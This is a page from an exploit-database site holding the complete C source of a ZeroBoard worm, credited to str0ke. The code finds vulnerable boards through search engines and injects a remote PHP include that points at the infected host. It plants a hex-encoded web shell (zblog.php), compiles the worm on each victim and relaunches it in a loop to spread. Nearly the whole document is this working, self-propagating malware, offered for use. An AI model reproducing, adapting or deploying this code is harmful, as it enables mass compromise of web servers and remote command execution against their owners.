0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ZeroBoard Worm Source Code
========================== ZeroBoard Worm Source Code ========================== /* The worm exploits a vulnerability in ZeroBoard, allowing an attacker to inject arbitrary PHP code. /str0ke */ /* ** ZeroBoard -1day INE w0rm */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <signal.h> #include <sys/ioctl.h> #include <net/if.h> #ifdef __sun__ #include <sys/sockio.h> #endif /* __SunOS__ */ #define DEBUG_ING #undef DEBUG_ING #define TMP_FILE "./tmp.core" #define CMD_FILE "./cmd.core" #define PRC_FILE "./proc.core" #define SCS (0) #define MIN (1) #ifdef __linux__ #define DEF_ETH "eth0" #else #ifdef __FreeBSD__ #define DEF_ETH "ed0" #else #ifdef __sun__ #define DEF_ETH "hme0" #endif #endif #endif #define MAX_BUF (0x0000ffff) #define FIR_BUF (0x00000800) #define SEC_BUF (0x00000400) #define THR_BUF (0x00000200) #define MIN_BUF (0x00000100) #define VENDOR "nzeo.com" // search rule #define FD_RULE_0 "/zboard/zboard.php" #define FD_RULE_1 "/zb41/zboard.php" #define FD_RULE_2 "/bbs/zboard.php" #define FD_RULE_3 "/zb/zboard.php" #define FD_RULE_4 "/zb40/zboard.php" #define FD_RULE_5 "/board/zboard.php" #define FD_RULE_6 "zboard.php" #define FD_RULE_7 "zboard.ph" // pattern #define FD_PATH_0 "/zboard/skin/zero_vote/login.php" #define FD_PATH_1 "/zb41/skin/zero_vote/login.php" #define FD_PATH_2 "/bbs/skin/zero_vote/login.php" #define FD_PATH_3 "/zb/skin/zero_vote/login.php" #define FD_PATH_4 "/zb40/skin/zero_vote/login.php" #define FD_PATH_5 "/board/skin/zero_vote/login.php" #define FD_PATH_6 "/skin/zero_vote/login.php" #define RESULT_OK "200 OK" #define MAKE_STR1 "BACKDOOR MAKE SUCCESS" #define MAKE_STR2 "ZBCODE MAKE SUCCESS" #define DELT_STR1 "BACKDOOR DELETE SUCCESS" #define DELT_STR2 "ZBCODE DELETE SUCCESS" #define DEF_PORT (31337) #define CONN_PORT (80) #define DEF_TIME (20) int set_sock(char *sc_gt_host,int port,int type); void re_connt_lm(int st_sock_va,int type); int proc_r(); void t_kill(); void sf_exit(); int g_ip(char *ip); int make_cmd_file(); int filter_f(char *test_bf,int tnum); int sock; struct tg_rl { int r_num; char *r_str; char *url_str; }; #define TARGET_NUM (7) #define SEARCH_NUM (4) struct tg_rl __tg_rule_va[]= { {0,FD_RULE_0,FD_PATH_0}, {1,FD_RULE_1,FD_PATH_1}, {2,FD_RULE_2,FD_PATH_2}, {3,FD_RULE_3,FD_PATH_3}, {4,FD_RULE_4,FD_PATH_4}, {5,FD_RULE_5,FD_PATH_5}, {6,FD_RULE_6,FD_PATH_6}, {7,FD_RULE_7,FD_PATH_6}, {8,NULL,NULL} }; struct search_rule { int num; u_char *url; int maxnum; int defnum; u_char *http_head; }; struct search_rule search_va[]= { {0,"www.google.com",990,10,"http://"}, {1,"kr.search.yahoo.com",990,15,"http://"}, {2,"search.nate.com",480,10,"http://"}, {3,"search.lycos.com",990,10,"//"}, {4,"kr.altavista.com",1000,10,"//"}, {5,NULL,0,0,NULL} }; void t_kill() { #ifdef DEBUG_ING fprintf(stdout,"time out\n"); #endif close(sock); sock=-1; signal(SIGALRM,SIG_DFL); return; } void sf_exit() { #ifdef DEBUG_ING fprintf(stdout,"safe exit\n"); #endif close(sock); kill((int)proc_r(),9); unlink(TMP_FILE); unlink(CMD_FILE); unlink(PRC_FILE); exit(-1); } int main(int argc,char *argv[]) { FILE *fp; int tnum=(SCS); int chk=(SCS); int gogo=(SCS); int whgl=(SCS); int qnum=(SCS); int tgrl_sl=(MIN); int _conn_num=(SCS); int port=(CONN_PORT); int def_port=(DEF_PORT); int sc_gt_sock; int host_chk=(SCS); u_char *gg_ptr=NULL; u_char *t_ptr=NULL; u_char __zr_bf[(MAX_BUF)]; u_char *port_ptr=NULL; char pkt[(FIR_BUF)]; char host[(SEC_BUF)]; char url[(SEC_BUF)]; char test_bf[(MAX_BUF)]; char req_t_bf[(THR_BUF)]; char ip[(MIN_BUF)]; char atk_code[(MIN_BUF)]; signal(SIGINT,sf_exit); signal(SIGTSTP,sf_exit); while((whgl=getopt(argc,argv,"S:s:T:t:Q:q:P:p:H:h:U:u:"))!=EOF) { extern char *optarg; switch(whgl) { case 'S': case 's': tnum=atoi(optarg); if(SEARCH_NUM<tnum) { fprintf(stderr,"target error\n"); exit(-1); } break; case 'T': case 't': tgrl_sl=atoi(optarg); if(TARGET_NUM<tgrl_sl) { fprintf(stderr,"target error\n"); exit(-1); } break; case 'Q': case 'q': qnum=atoi(optarg); break; case 'P': case 'p': def_port=atoi(optarg); break; case 'H': case 'h': memset((char *)host,0,sizeof(host)); strncpy(host,optarg,sizeof(host)-1); host_chk++; break; case 'U': case 'u': memset((char *)url,0,sizeof(url)); strncpy(url,optarg,sizeof(url)-1); host_chk++; break; default: exit(-1); } } (int)make_cmd_file(); if(fork()==0) { signal(SIGALRM,SIG_IGN); for(whgl=0;whgl<argc;whgl++) { memset((char *)argv[whgl],0,strlen(argv[whgl])); } strcpy(argv[0],"receive mode process"); if((fp=fopen(PRC_FILE,"w"))==NULL) { sf_exit(); } fprintf(fp,"%d\n",getpid()); fclose(fp); sc_gt_sock=(int)set_sock(NULL,def_port,1); (void)re_connt_lm(sc_gt_sock,0); } else { for(whgl=0;whgl<argc;whgl++) { memset((char *)argv[whgl],0,strlen(argv[whgl])); } strcpy(argv[0],"scanning mode process"); switch(host_chk) { case 1: #ifdef DEBUG_ING fprintf(stdout,"argument error\n"); #endif sf_exit(); break; case 2: goto ok; break; } #ifdef DEBUG_ING fprintf(stdout,"search url: %s\n",search_va[tnum].url); #endif for(_conn_num=qnum; _conn_num< search_va[tnum].maxnum; _conn_num += (search_va[tnum].defnum)) { conn: if((sock=(int)set_sock(search_va[tnum].url,(CONN_PORT),0))==-1) { goto conn; } memset((char *)req_t_bf,0,sizeof(req_t_bf)); switch(search_va[tnum].num) { case 0: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /search?q=%s" "&hl=ko&lr=&ie=UTF-8&start=%d&sa=N " "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num); break; case 1: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /search/web?p=%s&b=%d " "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num); break; case 2: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /webpage/search.asp?query=%s&start=%d " "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num); break; case 3: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /default.asp?query=%s&first=%d&pmore=more " "HTTP/1.0\r\n" "Accept-Language: ko\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n" "Host: %s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url); break; case 4: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /web/results?itag=wrx&q=%s&stq=%d " "HTTP/1.0\r\n" "Accept-Language: ko\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n" "Host: %s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url); break; } send(sock,req_t_bf,strlen(req_t_bf),0); whgl=(SCS); if((fp=fopen(TMP_FILE,"w"))==NULL) { return(-1); } signal(SIGALRM,SIG_IGN); alarm(MAX_BUF); memset((char *)test_bf,0,sizeof(test_bf)); while(recv(sock,test_bf,sizeof(test_bf)-1,0)) { fprintf(fp,"%s",test_bf); memset((char *)test_bf,0,sizeof(test_bf)); } fclose(fp); close(sock); if((fp=fopen(TMP_FILE,"r"))==NULL) { return(-1); } while(fgets(__zr_bf,sizeof(__zr_bf)-1,fp)) { gg_ptr=__zr_bf; while(MIN) { t_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head); gg_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head) + strlen(search_va[tnum].http_head); if(t_ptr!=NULL) { memset((char *)test_bf,0,sizeof(test_bf)); whgl=(SCS); chk=(SCS); for(gogo=0;gogo<strlen(t_ptr);gogo++) { if(chk) { if(t_ptr[gogo]=='>') chk=0; } else { if(t_ptr[gogo]==' ') continue; else if(t_ptr[gogo]=='<') chk=1; else test_bf[whgl++]=t_ptr[gogo]; } } if(!strstr(test_bf,__tg_rule_va[tgrl_sl].r_str)) continue; else t_ptr=(char *)strstr(test_bf,__tg_rule_va[tgrl_sl].r_str); if(t_ptr!=NULL) t_ptr[0]='\0'; else continue; if(filter_f(test_bf,tnum)) { t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head); if(strstr(t_ptr,search_va[tnum].http_head)) continue; memset((char *)host,0,sizeof(host)); memset((char *)url,0,sizeof(url)); chk=(SCS); if(strstr(test_bf,search_va[tnum].http_head)) { t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head); port=(CONN_PORT); for(whgl=0;whgl<strlen(t_ptr)+1;whgl++) { if(t_ptr[whgl]=='/') { for(gogo=0;whgl<strlen(t_ptr);whgl++) url[gogo++]=t_ptr[whgl]; strcat(url,__tg_rule_va[tgrl_sl].url_str); break; } else if(t_ptr[whgl]=='\0') { strncpy(url,__tg_rule_va[tgrl_sl].url_str,sizeof(url)-1); break; } else if(t_ptr[whgl]==':') { port_ptr=(char *)strstr(t_ptr,":")+1; port=atoi(port_ptr); } else host[chk++]=t_ptr[whgl]; } #ifdef DEBUG_ING fprintf(stdout,"Total:%s,URL:%s,HOST:%s,PORT:%d\n",test_bf,url,host,port); #endif ok: sock=set_sock(host,port,0); if(sock==-1) continue; else { memset((char *)ip,0,sizeof(ip)); memset((char *)atk_code,0,sizeof(atk_code)); memset((char *)pkt,0,sizeof(pkt)); (int)g_ip(ip); snprintf(atk_code,sizeof(atk_code)-1,"dir=http://%s:%d/\r\n",ip,def_port); snprintf(pkt,sizeof(pkt)-1, "POST http://%s%s HTTP/1.0\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n" "Host: %s\r\n\r\n%s\r\n",host,url,strlen(atk_code),host,atk_code); send(sock,pkt,strlen(pkt),0); memset((char *)pkt,0,sizeof(pkt)); recv(sock,pkt,sizeof(pkt)-1,0); #ifdef DEBUG_ING if(strstr(pkt,RESULT_OK)) { if(strstr(pkt,MAKE_STR1)) fprintf(stdout,"%s\n",MAKE_STR1); if(strstr(pkt,MAKE_STR2)) fprintf(stdout,"%s\n",MAKE_STR2); if(strstr(pkt,DELT_STR1)) fprintf(stdout,"%s\n",DELT_STR1); if(strstr(pkt,DELT_STR2)) fprintf(stdout,"%s\n",DELT_STR2); printf("%s: %s\n",RESULT_OK,host); } #endif } close(sock); if(host_chk) { sf_exit(); } } } } else break; } memset((char *)__zr_bf,0,sizeof(__zr_bf)); } fclose(fp); unlink(TMP_FILE); } sf_exit(); } } int set_sock(char *sc_gt_host,int port,int type) { struct sockaddr_in sock_st; struct sockaddr_in t_st; int nw_gt_sock,s_s; struct hostent *hst_etr; int sc_gt_sock; int t_c=0; char t_b[(SEC_BUF)]; FILE *fp; char http_rq[]="HTTP/1.1 200 OK\r\n\r\n"; if(!type){ signal(SIGALRM,t_kill); alarm(DEF_TIME); if((hst_etr=gethostbyname(sc_gt_host))==NULL) { return(-1); } if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { return(-1); } sock_st.sin_family=(AF_INET); sock_st.sin_port=htons(port); sock_st.sin_addr=*((struct in_addr *)hst_etr->h_addr); memset(&(sock_st.sin_zero),0,8); if(connect(sock,(struct sockaddr *)&sock_st,sizeof(struct sockaddr))==-1) { close(sock); return(-1); } return(sock); } else{ if((sc_gt_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { return(-1); } sock_st.sin_family=(AF_INET); sock_st.sin_port=htons(port); sock_st.sin_addr.s_addr=(INADDR_ANY); memset(&(sock_st.sin_zero),0,8); if(bind(sc_gt_sock,(struct sockaddr *)&sock_st,sizeof(struct sockaddr))==-1) { close(sc_gt_sock); return(-1); } #define BK_LG 10 if(listen(sc_gt_sock,(BK_LG))==-1){ close(sc_gt_sock); return(-1); } while(1){ s_s=sizeof(struct sockaddr_in); if((nw_gt_sock=accept(sc_gt_sock,(struct sockaddr *)&t_st,&s_s))==-1) { close(nw_gt_sock); close(sc_gt_sock); return(-1); } while(recv(nw_gt_sock,&t_c,1,0)){ if(t_c==0x0d){ recv(nw_gt_sock,&t_c,1,0); if(t_c==0x0a){ recv(nw_gt_sock,&t_c,1,0); if(t_c==0x0d){ recv(nw_gt_sock,&t_c,1,0); if(t_c==0x0a){ break; } } } } } send(nw_gt_sock,http_rq,strlen(http_rq),0); if((fp=fopen(CMD_FILE,"r"))==NULL){ close(nw_gt_sock); close(sc_gt_sock); return(-1); } memset((char *)t_b,0,sizeof(t_b)); while(fgets(t_b,sizeof(t_b)-1,fp)){ send(nw_gt_sock,t_b,strlen(t_b),0); } fclose(fp); close(nw_gt_sock); continue; } close(sc_gt_sock); return(-1); } } void re_connt_lm(int st_sock_va,int type) { if(st_sock_va==-1) { if(!type){ kill(getppid(),9); // parent } kill((int)proc_r(),9); // child sf_exit(); } } int proc_r(){ FILE *fp; int proc_n; if((fp=fopen(PRC_FILE,"r"))==NULL){ exit(-1); // child check. } fscanf(fp,"%16d",&proc_n); fclose(fp); return proc_n; } int g_ip(char *ip) { int sock; struct ifreq ifpq; struct sockaddr_in *pq; memset(&ifpq,0,sizeof(ifpq)); if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { return(-1); } pq=(struct sockaddr_in *)&ifpq.ifr_addr; pq->sin_family=AF_INET; memcpy(ifpq.ifr_name,(DEF_ETH),sizeof(ifpq.ifr_name)); if(ioctl(sock,SIOCGIFADDR,&ifpq)==0) { memset((char *)ip,0,(MIN_BUF)); snprintf(ip,(MIN_BUF)-1,"%s",inet_ntoa(pq->sin_addr)); } return 0; } #define BACKDOOR_PATH "zblog.php" #define CODE_PATH "zbcode" #define CODE_PATH_SRC "zbcode.c" int make_cmd_file() { unsigned long w1=0; FILE *fp; FILE *pf; if((fp=fopen(CMD_FILE,"w"))==NULL) { return(-1); } fprintf(fp,"<?\n" "chdir('../../');\n\n" "if(($fp=fopen('%s','r'))!=NULL)\n" "{\n" "$pnum=fread($fp,32);\n" "fclose($fp);\n" "$pnum=str_replace(\"\\n\",\"\",$pnum);\n" "if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n" "{\n" "exit;\n" "}\n" "}\n\n" "$cont=\"\\x3c\\x3f\\x0a\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x46\".\n" "\"\\x4f\\x52\\x4d\\x20\\x41\\x43\\x54\\x49\\x4f\\x4e\\x3d\\x24\".\n" "\"\\x50\\x48\\x50\\x5f\\x53\\x45\\x4c\\x46\\x20\\x4d\\x45\\x54\".\n" "\"\\x48\\x4f\\x44\\x3d\\x50\\x4f\\x53\\x54\\x3e\\x27\\x3b\\x0a\".\n" "\"\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x49\\x4e\\x50\\x55\".\n" "\"\\x54\\x20\\x54\\x59\\x50\\x45\\x3d\\x48\\x49\\x44\\x44\\x45\".\n" "\"\\x4e\\x20\\x4e\\x41\\x4d\\x45\\x3d\\x63\\x6d\\x64\\x20\\x56\".\n" "\"\\x41\\x4c\\x55\\x45\\x3d\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\".\n" "\"\\x64\\x3e\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x3e\\x3c\\x50\\x52\".\n" "\"\\x45\\x3e\\x27\\x3b\\x0a\\x09\\x24\\x63\\x6f\\x6d\\x6d\\x61\".\n" "\"\\x6e\\x64\\x3d\\x73\\x74\\x72\\x5f\\x72\\x65\\x70\\x6c\\x61\".\n" "\"\\x63\\x65\\x28\\x27\\x5c\\x5c\\x27\\x2c\\x27\\x27\\x2c\\x24\".\n" "\"\\x63\\x6f\\x6d\\x6d\\x61\\x6e\\x64\\x29\\x3b\\x0a\\x09\\x65\".\n" "\"\\x63\\x68\\x6f\\x20\\x60\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\".\n" "\"\\x64\\x60\\x3b\\x0a\\x3f\\x3e\\x0a\";\n\n" "$fp=fopen('%s','w');\n" "fputs($fp,$cont);\n" "fclose($fp);\n\n",PRC_FILE,BACKDOOR_PATH); if((pf=fopen(CODE_PATH,"r"))==NULL) { return(-1); } fprintf(fp,"$cont=\""); while(fread(&w1,1,1,pf)) { fprintf(fp,"\\x%02x",w1); } fclose(pf); fprintf(fp,"\";\n\n"); fprintf(fp,"$fp=fopen('%s','w');\n" "fputs($fp,$cont);\n" "fclose($fp);\n\n",CODE_PATH); if((pf=fopen(CODE_PATH_SRC,"r"))==NULL) { return(-1); } fprintf(fp,"$cont=\""); while(fread(&w1,1,1,pf)) { fprintf(fp,"\\x%02x",w1); } fclose(pf); fprintf(fp,"\";\n\n"); fprintf(fp,"$fp=fopen('%s','w');\n" "fputs($fp,$cont);\n" "fclose($fp);\n\n",CODE_PATH_SRC); fprintf(fp,"$RES=`gcc -o %s %s`;\n\n",CODE_PATH,CODE_PATH_SRC); fprintf(fp,"chmod('%s',0755);\n",CODE_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL){\n",BACKDOOR_PATH); fprintf(fp,"echo \"%s\\n\";\n",MAKE_STR1); fprintf(fp,"} fclose($fp);\n\n"); fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL){\n",CODE_PATH); fprintf(fp,"echo \"%s\\n\";\n",MAKE_STR2); fprintf(fp,"} fclose($fp);\n\n"); #if 1 fprintf(fp,"$fnum=(rand()%%%d);\n",TARGET_NUM); fprintf(fp,"$snum=(rand()%%%d);\n",SEARCH_NUM); fprintf(fp,"$randnum=(rand()%400);\n"); fprintf(fp,"while(1)\n{\n"); fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL)\n" "{\n" "$pnum=fread($fp,32);\n" "fclose($fp);\n" "$pnum=str_replace(\"\\n\",\"\",$pnum);\n" "if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n" "{\n" "exit;\n" "}\n" "}\n\n",PRC_FILE); fprintf(fp,"$port=(rand()%%65500);\n"); fprintf(fp,"if($port>1024){\n"); fprintf(fp,"exec(\"./%s -t $fnum -p $port -s $snum -q $randnum\");\n",CODE_PATH); fprintf(fp,"}\n}\n"); #else fprintf(fp,"unlink('%s');\n",BACKDOOR_PATH); fprintf(fp,"unlink('%s');\n",CODE_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1); fprintf(fp,"} else { fclose($fp);\n"); fprintf(fp,"$result=`rm -f %s`;\n$result=`del %s`;\n",BACKDOOR_PATH,BACKDOOR_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1); fprintf(fp,"}\n}\n"); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2); fprintf(fp,"} else { fclose($fp);\n"); fprintf(fp,"$result=`rm -f %s`;\n$result=`del %s`;\n",CODE_PATH,CODE_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2); fprintf(fp,"}\n}\n"); #endif fprintf(fp,"?>\n"); fclose(fp); } int filter_f(char *test_bf,int tnum) { switch(search_va[tnum].num) { case 0: /* google */ if(!strstr(test_bf,"google")&&!strstr(test_bf,"/search?q=cache:") &&!strstr(test_bf,"<")&&!strstr(test_bf,">") &&!strstr(test_bf,"%3F")&&!strstr(test_bf,"...") &&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 1: /* yahoo */ if(!strstr(test_bf,"yahoo")&&!strstr(test_bf,"/cache.php?") &&!strstr(test_bf,"<")&&!strstr(test_bf,">") &&!strstr(test_bf,"search")&&!strstr(test_bf,".html%") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 2: /* nate */ if(!strstr(test_bf,"nate")&&!strstr(test_bf,"RESULT") &&!strstr(test_bf,"<")&&!strstr(test_bf,">") &&!strstr(test_bf,"/search/")&&!strstr(test_bf,"%3F") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 3: /* lycos */ if(!strstr(test_bf,"lycos")&&!strstr(test_bf,"<") &&!strstr(test_bf,">")&&!strstr(test_bf,"%3F") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 4: /* altavista */ if(!strstr(test_bf,"ref_")&&!strstr(test_bf,"<") &&!strstr(test_bf,">")&&!strstr(test_bf,"%3f") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; default: return 0; break; } return 0; } # 0day.today [2024-10-06] #